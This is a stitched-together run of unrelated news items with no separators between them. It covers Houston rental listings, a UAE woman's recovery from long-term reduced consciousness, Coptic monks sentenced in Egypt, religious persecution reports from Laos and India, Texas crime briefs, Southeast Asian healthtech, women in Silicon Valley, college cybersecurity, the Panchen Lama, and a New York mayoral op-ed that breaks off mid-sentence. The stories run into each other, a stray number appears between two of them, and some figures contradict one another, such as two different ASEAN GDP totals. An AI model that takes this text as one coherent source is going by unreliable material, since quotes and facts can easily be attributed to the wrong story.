available right now. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. East Houston Street Listed at $800/month, this 300-square-foot studio apartment, located at East Houston Street, is 15.8 percent less than the $950/month median rent for a studio in Downtown. In the unit, you'll get hardwood flooring and a ceiling fan. Dogs and cats are not allowed. (See the complete listing here.) 222 E. Houston St., #600 This one-bedroom, one-bathroom apartment, situated at 222 E. Houston St., #600, is listed for $1,000/month for its 575 square feet of space. In the unit, which comes furnished, you'll find a walk-in closet, granite countertops and in-unit laundry. Amenities offered in the building include assigned parking, secured entry and storage. Cats and dogs are not allowed. (See the complete listing here.) 100 N. Santa Rosa St., #4254 Here's a one-bedroom, one-bathroom apartment at 100 N. Santa Rosa St., #4254, which is going for $1,225/month. In the unit, expect high ceilings. Future tenants needn't worry about a leasing fee. Sorry, but the building does not allow pets. (See the full listing here.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. LONDON When Munira Abdulla had last been fully awake, the first George Bush was Americas president and the Soviet Union was nearing its demise. It was the year the Persian Gulf war ended. In 1991, at the age of 32, Abdulla, from the oasis city of Al Ain in the United Arab Emirates, suffered injuries in a road accident that left her in a state of reduced consciousness for most of the next three decades. After 27 years, she awoke last June at a clinic near Munich, where doctors had been treating her for the complications of her long illness. I never gave up on her, because I always had a feeling that one day she will wake up, said Omar Webair, her 32-year-old son, who was just 4 when the accident happened. He shared his mothers story with Emirati news website The National Monday. Dr. Friedemann Muller, the chief physician at the Schon Clinic, a private hospital with campuses around Germany, said that Abdulla had been in a state of minimal consciousness. He said only a handful of cases like hers, in which a patient recovered after such a long period, had been recorded. Patients in a state of reduced consciousness are usually classified into three categories. In a full coma, the patient shows no signs of being awake, with eyes closed and is unresponsive to the environment. A persistent vegetative state includes those who seem awake but show no signs of awareness, while a minimally conscious state can include periods in which some response such as moving a finger when asked can be noted. Colloquially, all three categories are often described as comas. Signs that Abdulla was recovering started to emerge last year when she began saying her sons name. A couple of weeks later, she started repeating verses from the Quran that she had learned decades ago. We didnt believe it at first, Muller said. But eventually it became very clear that she was saying her sons name. Muller said he had not expected such a recovery from Abdulla. She had been at the German clinic for treatment for seizures and contorted muscles that made her body hard to handle and that kept her from being able to sit in a wheelchair safely. Part of the treatment was to install a device that delivered medication directly into her spine, a factor that Muller said could have brought on her recovery. Only a handful of people are known to have made similar recoveries. Terry Wallis, from Arkansas, was 19 when he skidded off a bridge in a pickup truck. He uttered his first word since the accident, Mom, nearly two decades later, in 2003. His recovery was so unusual that scientists used it as an opportunity to study how the brain functions and to help determine which patients with severe brain damage had the best chance of recovering. The issue is often of vital importance. In a landmark ruling in 1976, the New Jersey Supreme Court found unanimously that the father of Karen Ann Quinlan had the right to decide to forgo life-sustaining treatment on her behalf. Quinlan died in 1985, a decade after she slipped into a coma. The case of Terri Schiavo, a Florida woman who spent 15 years in a persistent vegetative state before her feeding tube was removed in 2005, stoked further debate in the United States and beyond about a persons right to live or die. With medical care, some can stay in a state of reduced consciousness for decades. Aruna Shanbaug, an Indian nurse, spent more than 40 years in such a condition until her death at age 66 in 2015. She had been left in a permanent vegetative state after being strangled with a metal chain during a sexual assault. Webair, Abdullas son, said he had avoided serious injury in the accident in 1991 because his mother had seen the crash coming and managed to embrace him before the impact. To me she was like gold; the more time passed by, the more valuable she became, he told The National. According to the newspaper, Abdulla, who has returned to the United Arab Emirates, is being treated at a hospital in Abu Dhabi. This article originally appeared in The New York Times. Following consultations with the Mufti, the judges of the Criminal Court of Damanhur confirmed the sentence. It excludes generic extenuating circumstances due to the brutality of the assassination. The two monks will ultimately appeal against the verdict. Cairo (AsiaNews / Agencies) - An Egyptian court has confirmed the death sentence for two former Coptic Orthodox monks, held responsible for the murder of their bishop in obscure circumstances in late July last year. The murder of Anba Epiphanius, abbot of the monastery of Saint Marcius was the result of unspecified "differences" between the prelate and the two religious, Wael Saad and Ramon Rasmi Mansour, known as Faltaous al-Makari. On the evening of July 29, the 64-year-old prior of the monastery of Saint Marcius in Wadi Natrun, about 110 km north-west of Cairo, was found lifeless and with deep head wounds inside the institution that stands in a desert area. Following the death, the leaders of the Egyptian Orthodox Coptic Church imposed the ban on the use of social media for the monks and the blocking of one year for new entries into the seminaries. Among the reasons that led to the death sentence handed down in the first instance on February 23, is the fact that the two authors were allegedly "unscrupulous" in their acts and "did not take into due account" the age advanced and the spiritual stature of the victim. This has effectively excluded the possibility of granting generic extenuating circumstances. On April 24th, the grand mufti of Egypt examined the trial case - in the country of the pharaohs the religious authority always expresses a judgment in the cases in which the capital punishment is inflicted - and has confirmed the verdict of first instance. Following the (non-binding) decision of the Grand Mufti, the judges of the Criminal Court of Damanhur have established that the sentence is enforceable. Now the two former monks will be able to appeal to the Supreme Court. In a nation of almost 95 million people with a large Muslim majority, Christians [above all Orthodox Copts] are a substantial minority, accounting for about 10% of the total population. by Sumon Corraya The protesters wore a black bandage on their mouth. The purpose of the protest is to show that the population does not support any attack on places of worship, be they churches or mosques. Dhaka (AsiaNews) - Hundreds of Hindus, Buddhists and Christians in Bangladesh have united in condemning Easter massacres in three churches and three hotels in Colombo. Today more than 300 people participated in a silent protest in the Shahbagh area of Dhaka. The sign of recognition was a black kerchief covering the mouths of the protesters. Speaking for them there were posters and banners, with the words "Stop killing", "Stop the genocide", "Save humanity", "Down with national and international terrorists". The event was organized by the Bangladesh Christian Association and the Bangladesh Hindu Buddhist Christian Unity Council. They were joined by young people, activists and even children. Meanwhile, the body of little Zayan Chowdhary, grandson of Awami League leader Sheikh Fazlul Karim Selim, who died in the attacks, returned to Bangladesh and was buried. The two, together with the father of the injured child, were in one of the three hotels hit by the suicide bombers. Rana Das Gupta, general secretary of the Bangladesh Hindu Buddhist Christian Unity Council, told AsiaNews: "We have noticed that local and international Islamic fundamentalist groups have increased since the Soviet Revolution. The attacks in Sri Lanka and New Zealand are not separate incidents. It is a global problem . The Hindu activist continues: "As a religious minority, we are very worried. All over the world, minorities have become victims of terrorist attacks by radicals. In Bangladesh, religious minorities are not safe. To solve this problem, world leaders should sit around a table and discuss it to find a solution. " Ven. Bhikkhu Sunandapriya, general secretary of the Bangladesh Buddhist Federation, adds: "I have no words to condemn these horrendous and deadly attacks on the people of Sri Lanka on Easter Sunday, nor to express my deep sorrow for the loss of innocent and precious lives. Religious leaders must take responsibility for teaching the faithful the condemnation of religious violence ". The event was attended by 24 young Catholics. Patrick Purification, president of the Bangladesh Catholic Students Movement, declares: We want peace in the world. Generating the [meaning] humanity in people's hearts is what we need right now. Nirmol Rozario, president of the Bangladesh Christian Association says the aim of the event was "to show that the population of Bangladesh does not support any attack on places of worship. We want a peaceful nation and world. People need to talk instead of carrying out attacks. Anyone who supports militants must be arrested and brought to justice". More than two years after a woman was killed in a possible racing crash in southeast Houston, the driver of the SUV she was in has been indicted by a grand jury on a charge of failure to stop and render aid. Marco Antonio Jimenez, 25, was arrested in Galveston County last September, more than a year after the collision that killed Maria Saucedo. Saucedo was a backseat passenger in a black Chevrolet Trailblazer, one of three vehicles involved in the crash on Jan. 20, 2017. Authorities said that about 2:20 that morning, the driver of a black Chevrolet Camaro struck a silver Ford F-150 pickup truck as they traveled south on Interstate 45 near Bellfort. The pickup then collided with the Trailblazer. FORT BEND: 9 arrested on felony sex crime charges last month A witness behind the three vehicles told authorities that the Camaro and pickup were next to each other, with the SUV a few cars back, when the front vehicles appeared to take off as if they were racing, according to a court document that describes the charge against Jimenez. The Trailblazer then did the same, the document stated. About seven seconds later, the witness said, the Camaro swerved to the right and struck the back of the truck, which then collided with the SUV. Saucedo was ejected from the vehicle. Another backseat passenger in the Trailblazer said that when she went to help Saucedo, she saw that Jimenez was no longer at the site of the crash. Another passenger in the SUV told authorities that Jimenez fled. A Harris County grand jury indicted Jimenez, a Mexican native, on April 17 and he is in Harris County Jail without bond. At the time of the crash, he was on deferred adjudication, a type of probation, on a drug possession charge. He was found with less than a gram of cocaine in July 2016 and was under court supervision for two years beginning April 2017. NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here. For the authorities, the man was arrested for cutting lumber in a protected forest. But according to inhabitants of the Phin district this is just an excuse. Officials rarely apply legislation against illegal logging. In prison, the police tried to force Agoon to renounce his faith and beat him. Vientiane (AsiaNews / Rfa) - Laotian police are accused of having arrested, beaten and detained a man named Agoon in the province of Savannakhet, in the south of the country, for having exercised his Christian faith. Some witnesses told Rfa. The authorities report that Agoon was arrested for cutting lumber in a protected forest, but local sources say the man was targeted for his religious beliefs. A source who wishes to remain anonymous told the police that he and others had felled trees in the forest at the request of the village leader in the Phin district. Local people claim that officials rarely apply legislation against illegal logging. According to others, Agoon's involvement in felling timber is just an excuse: the other woodcutters in his group, all non-Christians, have avoided detention. While in prison, the police tried to force Agoon to renounce his faith but he refused. The police responded by beating him harder, hitting his ears to the point that the man could no longer hear. A third source agrees that the accusation of deforestation is just a pretext, because an arrest for reasons of faith would have increased the discontent of the international organizations that promote religious freedom in Laos. The last violation case came to light a week after three US citizens were held for 10 days on charges of spreading bibles and Christian material without government approval, before being deported to neighboring Thailand. Although the Constitution of the Laotian communist regime claims to protect religious freedom, the authorities of the Buddhist country consider Christianity a "foreign religion". In Laos, the Catholic community is a small minority: its faithful number around 45 thousand and represent 0.7% of the country's 7.1 million inhabitants. The situation of the Church in Laos remains delicate, as the government exercises strict control over religions and does not have diplomatic relations with the Holy See. The difficult relations between Church and State are accentuated above all in local governments and among citizens.. Harris County prosecutors said Friday they will seek to dismiss 27 active criminal cases due to concerns about the credibility of two former Houston police officers under investigation for their roles in a deadly January drug raid in Pecan Park. Questions have been raised about whether the two officers, Gerald Goines and Steven Bryant, may have lied about some of the circumstances surrounding the botched raid on Jan. 28. Goines and Bryant retired from the Houston Police Department under investigation weeks after the bust. Truthfulness is essential in a case that must be proved beyond a reasonable doubt, Harris County District Attorney Kim Ogg said Friday in a statement. We cant vouch for these officers credibility. HOUSTONCHRONICLE.COM EXCLUSIVE: Aftermath of deadly Harding Street drug raid captured on dramatic cellphone video The botched bust remains under investigation by the DAs Office, the FBI, and the Houston Police Department. Police burst into the home of at 7815 Harding Street looking for heroin, kicking off a gun battle that killed Dennis Tuttle and his wife, Rhogena Nicholas. Goines and three other officers were shot in the ill-fated raid, which netted only a small amount of marijuana and cocaine. Goines came under scrutiny after investigators accused him of lying on the search warrant affidavit used to justify the raid. Family and friends have said the couple were not drug dealers. The two officers were relieved of duty following the raid and later retired. The DAs office said it would file motions Friday seeking to dismiss all open cases in which Goines or Bryant were material witnesses who could be required to testify. Prosecutors had already dismissed several other pending cases. Police corruption erodes public trust and through methodical, deliberate and independent investigation, we will get to the truth, Ogg said. st.john.smith@chron.com keri.blakinger@chron.com Get reaction and details about the dismissals in our HoustonChronicle.com update. NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here. A man who jumped out of a moving vehicle on Interstate 45 in downtown Houston died after being struck by an SUV Friday morning, police said. The man, whose identity was not immediately released, was in an argument with his partner while they were travelling southbound on the Pierce Elevated, according to Houston Police Department Lt. Ronnie Wilkens. While the car was still moving, he jumped out and ran into oncoming traffic, Wilkens said. Bexar County sheriff deputies arrested a man Tuesday after a 13-year-old girl's visit to the Methodist Children's Hospital. Jackie Ray Haley, 60, was arrested on suspicion of continuous sexual abuse of a child, jail records showed. READ ALSO: San Antonio pastor accused of sexually assaulting child Deputies were called to the hospital on Tuesday after it was determined the alleged sexual abuse occurred in the county's jurisdiction, according to the arrest affidavit. The girl allegedly told investigators she was sleeping on the couch when she awoke to Haley sexually assaulting her. When she tried to get up and use the restroom, Haley allegedly followed her and continued the alleged assault, the affidavit states. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox The girl also told investigators that Haley had been doing this since she was 4-years-old, according to the document. Their relationship was not detailed in the arrest affidavit. Haley's bail was set at $50,000, jail records showed. Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA A 10-year veteran with the Bexar County Precinct 2 Constable's Office was terminated Thursday after he was arrested on suspicion of drunken driving, according to county officials. Deputy Jerry Loera, 43, who was off duty at the time, was pulled over by San Antonio police after he left a Fiesta event about 1 a.m. Thursday, Constable Michelle Barrientes Vela said. Vela explained that Loera consented to a breathalyzer test during the stop and that the results later showed an alleged blood alcohol level of 0.18. Vela said she personally handed Loera his the termination notice Thursday at the Bexar County Sheriff's Office. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox While Vela thanked police for the job they did on the case, she said that the arrest doesn't prove there's a subculture of misconduct in law enforcement. "It's a choice, it's not a subculture," she said. "To men and women in uniform, please uphold the law. Wear your badge with integrity and honor." Though Vela decided Loera's termination was necessary, said she still stands by him and will support him as he moves through the legal system. A $1,000 bond was posted for Loera and he was released from jail Thursday afternoon, jail records showed. Text "NEWS" to 77453 for breaking news alerts from mySA.com Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA One of the oldest Catholic institutions in Manipur was set on fire; another school was attacked by Hindu radicals in Maharashtra. Schools are open to the poor and tribal children. New Delhi (AsiaNews) Christian schools continue to be attacked in India, targets of intimidation and violence by Hindu radicals. The latest incidents occurred in Maharashtra where teachers were accused of "forced conversions" and in Manipur where a school was the victim of an arson attack for suspending some unruly students. Both cases highlight a climate of persecution that has come to hang over Christian educational facilities. Fr Felix Anthony, spokesman for the Catholic Church in northeastern India, told AsiaNews that someone set fire last night to the St Joseph Higher Secondary School in Sugnu, Chandel district. The school is the second oldest Catholic educational facility in the State of Manipur. Built 55 years ago for the poor tribal population, especially Kuki and Anal, it currently has 1,400 students. All the school records and documents were lost in the fire. The attack was sparked by a disciplinary measure taken against six students on 19 April. The latter had posted a video on social media in which they are seen insulting a teacher and the school during class hours. When school administrators saw the video, they suspended the students for a month. Following the schools decision, the father of one of the students, a political leader, demanded the suspension be revoked. He also roused members of the Kuki Student Union against the school. When the school refused, some students set fire to the building. Fr Jacob Chapao, head of the Manipur Catholic Youth Organisation, condemned the attack. "Such barbaric vandalism against a school is against humanity." A couple of days earlier, on Tuesday, the Christ Primary School in Palghar, a district in Maharashtra, was attacked by the Antarrashtriya Hindu Parishad (AHP), a Hindu nationalist organisation affiliated with the Vishwa Hindu Parishad (an extreme right-wing nationalist paramilitary). The attackers smashed the windows of classrooms and unfolded a banner that urged parents not to send their children to school. Their anger was triggered by false accusations against 14 teachers of trying to convert pupils to Christianity. For Sajan K George, president of the Global Council of Indian Christians (GCIC), the situation "is alarming. The AHP supports the ideals of Hindutva, i.e. Hindu supremacist nationalism. This is not the first time a school has been attacked. Sadly, The Christian minority is vulnerable and is intimidated by the majority. The GCIC president notes that India is a secular country and religious freedom is guaranteed by the Constitution." (Nirmala Carvalho contributed to the article) The Asian healthtech industry closed 2018 with a record-breaking US$6.3 billion in funding, making it the second-largest digital health ecosystem in the world, surpassed only by the US. Startups across the region, and particularly in Southeast Asia, are seeing a booming market in healthtech. Using the latest reports from Galen Growth Asia and others, here we review the current state of healthtech in Southeast Asia. What is healthtech? The World Health Organisation (WHO) defines health technology (commonly known by its portmanteau, healthtech) as the application of medical knowledge and skills in the form of devices, medicines, vaccines, procedures and systems developed to solve a health problem and improve peoples quality of life. Sometimes referred to as digital health, healthtech emcompasses solutions as varied as telemonitoring, wearables, radio-frequency identification (RFID) for live medical monitoring, and mobile applications or databases, to name a few examples. However, healthtech does not include biotech (e.g. protein research or pharmaceuticals) nor meddev (e.g. devices that are implanted into the body). The integration of information and communication technology (ICT) in healthcare can accelerate health system reforms, leading to a better-quality, more efficient, and accessible patient-centred care. It can also lead to more efficient resource allocation, which in turn can result in lower health care costs. For example, through the implementation of digital health solutions, surgeries and hospitals can transform the way they store their records and share and use patients data. Galen Growth Asia anchors the development of the healthtech ecosystem to the following four drivers: data and analytics; bio-sensors (not limited to wearables); mobile devices, and new business models. Digital health has been acknowledged by the WHO as a key building block for universal health coverage and the health-related Sustainable Development Goals, and many countries around the world are already implementing solutions such as social health insurance payment processes or electronic medical records, to improve peoples lives. Whats the state of healthtech in Southeast Asia? Asia Pacifics healthtech ecosystem is the second largest in the world, only behind the United States. Galen Growth Asia figures show that in 2018 alone, the regions industry raised US$6.3 billion in investments. Within Asia, India, China and Singapore are emerging as key healthtech hubs, concentrating a large number of startups and attracting a significant portion of investments. Most emerging economies are still far from reaching the level of health expenditure and investment seen in developed countries. The result is that the developing world accounts for approximately 20% of the global health expenditure but hosts nearly 85% of the global population. For example, the US spends more on healthcare than ASEAN produces in GDP (US$3.4T v US$2.6T, respectively). Whereas the main factors influencing health expenditure in the developed world are ageing populations and a rising incidence of non-communicable diseases (NCD), such as cancer or heart attacks, developing countries face diseases (communicable and chronic) as well as the cost of expanding access to healthcare in rural areas, where half of the population lives. Except from Cambodia, all ASEAN countries offer free healthcare, although not always universal. Singapore notably ranks among the best healthcare systems in the world. The number of healthtech ventures in wider Asia has grown substantially in the past five years. Galen Growth Asia currently estimates that over 3,000 such ventures currently operate in the region and in 2016 alone attracted in excess of US$2.5 billion. Five Asian markets are home to 80% of all known healthtech startups in Asia, including India (32%), China (22%), Singapore (11%), Japan (8%) and Australia (8%). Indonesia holds 5% of the market share and Malaysia, Philippines and Vietnam have each less than 2% of the market share. Singapore continues to be an attractive location for ventures due to its solid legal framework, economic stability and government incentives. Indonesia maintains its position, mirroring local innovation driven by its demographics, disease burden and limited health infrastructure. Patient journey related categories continue to be predominant in the top categories by deal volume. Health services search, online marketplace, genomics and related applications, medical data and analytics, Internet of Things (IoT) health and wellness, and medical diagnosis. Among the obstacles of a wider implementation of healthtech across Southeast Asia are a generalised lack of regulation and governance, weak national health informatics capacity and fragmented information systems. Other common issues in the region are the absence of a system of unique patient identification; funding priorities are not always set by the Ministry of Health (MOH), and weak interagency and public-private collaboration. Cole Sirucek, CEO and co-founder of Singaporean startup DocDoc, told Health Care Asia Magazine recently that among the obstacles facing patients throughout Asia is a dire lack of transparency and below-average customer service. [Patients] waste hours trying to get a primary care consultation, in often cases, only to find out that they need to see a specialist, Sirucek told the outlet. Then begins the daunting task of researching for the right specialist. Patients only choices are to rely on online doctor directories or referral from friends and family. He continued: Online doctor directories provide very little information on the background and expertise of the specialists, therefore making it remarkably challenging to distinguish between the numerous doctors under the same specialty, in the same region. Referral from friends and family are based on anecdotal evidence at best. Consumers are largely forced to choose a doctor in an information vacuum and left to face the luck of the draw. Which factors are contributing to the fast development of healthtech in Southeast Asia? Galen Growth Asias Healtech Investment Landscape Full Year 2018 report shows that Southeast Asia accounted for 22% of all the deals in the overall Asian healthtech scene in Q1 2019, up by 11% from 2017. There was an emphasis on early-stage deals (seed and Pre-A) in Singapore with 60% share. The Asian Development Bank (ADB) points at two decisive factors which are contributing to the rapid development of digital health solutions in Southeast Asia. First is an increasingly prevalent broadband coverage as well as faster broadband and mobile data across the region. Although the Philippines and Indonesia still lag behind China with 5.5 MBPS and 7.2 MBPS respectively, the average broadband speed in Singapore is 20.3 MBPS, above Japan and only behind Hong Kong and South Korea. WeAreSocials Digital 2019 report revealed that Southeast Asia was the fastest-growing region worldwide in unique internet, mobile and social media users over the course of 2018. With a population of over 659 million and a collective gross domestic product (GDP) of US$3.4 trillion, ASEAN is bound to become the worlds fifth-largest economy by 2020. Its digital economy reached over $30 billion in 2015, and is expected to soar in upcoming years to reach nearly $200 billion by 2025. Another report by Google and Temasek shows that there has been an increase of 90 million internet users since 2015 across ASEAN-5 countries (Indonesia, Malaysia, Philippines, Singapore and Thailand) plus Vietnam, bringing the total number of internet users to 350 million. The second factor contributing to the fast development of healthtech in the region is an increasing demand for better health systems across ASEAN. A shift in disease profiles, a growing middle class and income increases, as well as changing lifestyles and aging populations are elements putting pressure on how healthcare is delivered.Startups in the region are envisioning great opportunities in the growing healthtech market. Although Singapore and Indonesia are still the most attractive locations in the region for healthtech, other countries like Malaysia are also emerging with innovative solutions in the healthtech arena. Its a widely acknowledged fact that many industries suffer from endemic lack of diversity, and that efforts to tip the scales the other way often run into resistance. Such was the case, for example, when Google employee James Damore claimed that the reasons behind the high level of gender inequality in the technology industry were biological rather than cultural. To gain some perspective into the real roots of the problem, however, it is helpful to hear from people who have not only managed to overcome such barriers, but thrive in industries such as tech. One such person is Haibei Happy Wang, a former front-end engineer at PayPal and current Vice-President of Engineering at Silicon Valley tech company Globality, which has just received a $100 million investment from SoftBank to scale up its cutting edge work in artificial intelligence and business sourcing. She has been working in Silicon Valley for the past two decades, and she tells me that during that time shes also seen some positive change. Things have changed, but not enough In my twenty years of working in Silicon Valley, Ive definitely seen more women getting into the technology field. Ive also noticed that more and more women in technology are willing to open up and connect by founding many types of groups to support each other. Ive seen a strong womens voice represented in the product, engineering, design, and data-analytics fields. Women are no longer shy; were becoming more vocal instead of just being receptive. Only 12% of engineering staff at the 84 top tech firms are female, yet Happy reflects that there are many more opportunities available to women now, compared to her early career days as an engineer, when she invariably reported to male managers. The last decade, however, has seen a big shift towards promoting women into leadership roles, which means were seeing women in C-level roles, which was very rare in the past. I feel fortunate to have made it to the vice-president level. My leadership team values my contributions and provides me with great career growth opportunities. Ive also noticed over the last decade that there are a lot more women founders doing quite well in the startup world, plus we now have more women engineers than ever, especially in the product, front-end engineering, user experience, mobile, and data fields. How coding boot camps can help One trend she believes has been pivotal in this change has been the popularity of coding boot camps specifically targeted at women. Where science and technology continue to be seen as traditionally male subjects at school and college, far fewer women are graduating with the skills to enter the tech industry, so however committed a company is to hiring women, there is a problem with the pipeline. Only around 18% of US computer-science bachelor degrees go to women. These boot camps help address the fundamental issue that inequality in the industry is a question not only of demand, but also of supply, as some start-up founders report difficulties in recruiting female members for their teams in spite of their best efforts. Ive seen lots of women going through these programs and successfully transforming themselves into great engineers, Happy says, adding that in recent years shes seen many more junior-level engineers coming to her who have never studied coding at university. They bypass the costly and often theory-based 4+ year courses, instead learning practical skills and best practices in realistic environments. Some of these boot-camps, such as Hackbright, are exclusively for women and have trained over 700 graduates who have gone on to secure jobs at companies such as Google, Dropbox, and Airbnb. There is no difference between men and women when it comes to the ability to learn. Science isnt a sport where men can run faster than women can. In science, as long as you give them the same training and opportunity, women absolutely can reach the same level of achievement as men do. We need to open the door for women and find a way to educate and influence them at an early age to help open their eyes and free their minds. It is also important for companies to provide opportunities for female employees to transition to different roles during their careers, she says, recounting how shes helped non-engineers become engineers by giving them on-the-job learning opportunities and constantly challenging them to go beyond their comfort zone. The other part of that, she acknowledges, is for women to also move past culturally-enforced norms that mean they are often more hesitant to put their views forward in fear of seeming overly aggressive or ambitious. If you have opinions, its better to speak up than hold back; you want to earn an opportunity for yourself and set a great example for your women colleagues to follow. Help others see that theres a path forward as long as they are competent and doing an awesome job. Fighting for yourself is a way to send a strong message that also helps others. The long hard road The industry as a whole needs to realize that achieving meaningful equality is never going to be an easy process, and there isnt one quick fix to a problem that is so deeply ingrained into industry practices. Ive noticed that some companies are proud of their overall male-to-female employee ratios, but if you dig deeper, you find that many women are employed at much lower levels than their male colleagues are. Its almost like a pyramid, and very few women can make it to the top. The bottom line, Happy concludes, is that we need to provide an equal opportunity for everyone to learn, no matter if youre a woman or a man. Technology evolves quickly; the most exciting thing for me in the high-tech world is that you always have something new to learn. While it is up to the individual to demonstrate how fast and how much they can learn new skills, we cant exclude some people from the beginning by not even affording them those opportunities. We need to achieve parity at every level in order to affect true change, and companies that do rise to the challenge will also reap the well-known benefits that diversity brings to innovation and productivity in the creative sectors. 28553 Bad actors gather in about $1.5 trillion a year, according to the University of Surrey. Recent, Marriott breach caused millions of dollar worth data loss. Facebook and Cambridge Analytica episode forced companies to evaluate data breaches. These incidents validate that hackers engagement in data breaches consciously, with the intent to profit from the infringement. Implications of these events have resulted in making security an important commodity. Colleges, universities, and research institutions have increased their investment in cybersecurity. The cost of security has increased due to advancements in AI tools which has made attacks more lethal, as result solutions have corresponded to these actions. Institutions can fight data breach by adopting the same capabilities that hackers use. However, the novel way to approach cybercrime is by fixing vulnerabilities and analyzing user behavior to develop ideal security settings. Training ML algorithms can do this to the datasets that have current and potential bugs. The University of California, San Diego, newly created Halcoglu Data Science Institute which aims at exploring the scientific foundations of data science. Experts at the institution suggest that organizations must use people and computing power in concert. Since companies know that computers can detect suspicious data, but only humans have the agency to act on it, which leaves with one lingering questionwhat should colleges and companies do to fight the cybercrime? The answer lies in training the staff and students in the domain of threats and solutions. Education of the tools and patterns of cybercrime is essential to help verify what is fake and what is real. But colleges can take a head start by implementing cybersecurity principles by tightening their environments, resources, storage, networking, and monitoring. This will help prevent resource leakage. Additionally, institutions should make sure that attackers dont have greater capabilities than legitimate users. Also, universities should use a secure runtime monitor. This will help when systems get compromised. The runtime monitor will ensure that the attacker cant reach the data. Machine learning systems can be leveraged to perform tasks such as evaluating user-application interactions to set session durations accordingly, thus limiting the window of opportunity for cybercriminals. See More: Top Law Enforcement Technology companies Top Law Enforcement Technology Consulting Companies Tibetan Buddhisms Number 2, was seized by Chinas communist authorities when he was only a child after he was recognised by the Dalai Lama. A peaceful march calls for his release, while Tibetan political leaders call on Beijing to explain what happened to him. Dharamshala (AsiaNews/Agencies) The Tibetan community in exile today celebrated the 30th birthday of the Panchen Lama, Tibetan Buddhisms second most authoritative figure, who was abducted by Chinas communist authorities when he was only a child. A peaceful march was held in India, home to the largest Tibetan exiled community, to demand his release. More than a thousand people yesterday left Salugara, West Bengal, with the aim of walking at least 25 kilometres a day, to reach Mysore (Bangalore). Marchers offer passers-by flyers explaining the situation of Gendun Choekyi Nyma, who was for years the youngest prisoner of conscience in the world. Tibetan leaders have formally asked China for news of his fate. Lobsang Sangay, president of the Central Tibetan Administration (Tibets government-in-exile), opened the celebrations in Dharamshala praying for the young mans health and release. Chinese authorities seized Gedhun Choekyi Nyima and his family on 17 May 17 1995, three days after he was recognised as the Panchen Lama by the current Dalai Lama, Tenzin Gyatso. Within Tibetan Buddhism, the Panchen Lama is important because he has the task of recognising the new, reincarnated Dalai Lama after the death of the old one. Since he disappeared with his family, there have been no news of Nyima's fate. Beijing has consistently rejected requests by the United Nations agencies and human rights organisations to visit him. Two years ago, a member of the Chinese government said that the Panchen Lama was living a normal life and did not want to be disturbed. The young mans abduction however shows how far Chinas communist government is willing to go to interfere in the dynastic lines of Tibetan Buddhism. The selection of reincarnated lamas in Chinas Tibetan provinces already requires the approval of Chinese authorities. The Chinese government can also rely on patriotic lamas, who are often picked among top educators, not to demand Tibetan independence. Equally, China wants to pick the monk who will replace the current Dalai Lama after his death. Given Beijing's interference, the current Dalai Lama, Tenzin Gyatso, said he might be the last Dalai Lama or that his reincarnation could be chosen by a "conclave" of the main Buddhist abbots in the Diaspora. New York City Mayor Bill de Blasio has been traipsing off to South Carolina, New Hampshire, and Iowa some weekends as he considers joining the crowded presidential field, despite nearly zero interest in his potential candidacy on the part of the national voting public. For better or worse, voters crave a president with a strong, simple policy vision. Donald Trump won with a vision of retreat from poorly managed globalization and demographic change, and Barack Obama won on a promise of reforms to the health insurance, financial and energy industries that would benefit consumers. De Blasios record as mayor doesnt have a policy theme. Its just a mishmash of half-executed ideas that add up to a city little different than it was before he got here. Even his biggest accomplishments, rather than striking out in a bold new direction, are building on existing trends. Lets start with the mayors two main policy accomplishments: first, pre-K for all. In 2013, de Blasio ran on universal prekindergarten for 4-year-olds, and he is now expanding it to 3-year-olds. To his credit, 70,000 children now attend pre-K, up from 19,000 before he took office. And quality has improved too. In January, The New York Times reported, In 2018, about 94 percent of the citys prekindergarten programs met or exceeded a threshold that predicts positive student outcomes after pre-K, according to a national evaluation system. In 2015, only 77% of the programs were up to snuff. The mayor made a promise and kept it and tens of thousands of working parents are better off, at the very least avoiding day care costs. Yet de Blasios victory here was more of an election-branding exercise than a radical turnaround for New York City. Universal pre-K first was championed by de Blasios predecessor, Michael Bloomberg. In 2007, Bloomberg noted that since 2002, weve increased the number of available free pre-kindergarten seats by more than 9,000, and converted slots to full-day from half-day, part of a push toward universal pre-kindergarten. Bloomberg focused his outreach on the poorest students, while de Blasio has created a middle-class and even upper-class entitlement. De Blasios own signature program was an incremental improvement on his predecessors work. The same is true of de Blasios other main achievement: the continued drop in crime. Last year, New York City had one of its lowest number of murders ever in the modern era: 295. The NYPD has continued to reduce the number of stop and frisks, which also began under Bloomberg. Thats good, for as long as it lasts, but it is hard to credit de Blasio for bringing to New York an epiphany about crime. New Yorkers have enjoyed nearly 30 years of violence reduction. De Blasio inherited what at one time seemed like a miracle and has maintained it a salutary result, but hardly evidence of his unique ability to lead the nation. Indeed, pre-K and crime point out the general de Blasio dilemma: At best, the mayor is a caretaker who hasnt too thoroughly screwed up the mostly healthy city he inherited. You can see the mayors frustration, if you apply this logic to the issues Democratic primary voters might care about. The environment? Again, Bloomberg created Plan NYC, New Yorks long-term environmental blueprint; de Blasios main contribution was to change the name to One NYC. The mayor has now had five years to radically remake how New Yorkers get around by providing faster, more efficient bus service, for example. He has just now finally begun to roll out policies to increase bus speeds. Although he has improved safety for pedestrians although results have slipped this year he hasnt cut back on cars: Instead, New York has record-slow traffic and a record number of private cars. City-owned vehicles are also racking up more miles. Even redesigning streets for the benefit of bicyclists and pedestrians was started by Bloomberg. New York City Council members, not the mayor, have driven recent key environmental initiatives, including the push to tax plastic bags (now a statewide ban). Inequality? De Blasio keeps trying to get national attention by intoning ominously that Americas money is in the wrong hands. But New York Citys taxes on the rich and middle class alike were already sky-high when de Blasio took office. Absent far more competent management of record tax revenues, its going to be hard to sell Gotham to the rest of the nation as a progressive success. Public schools, public housing and public transit are all still subpar, given the money the city and state throw at 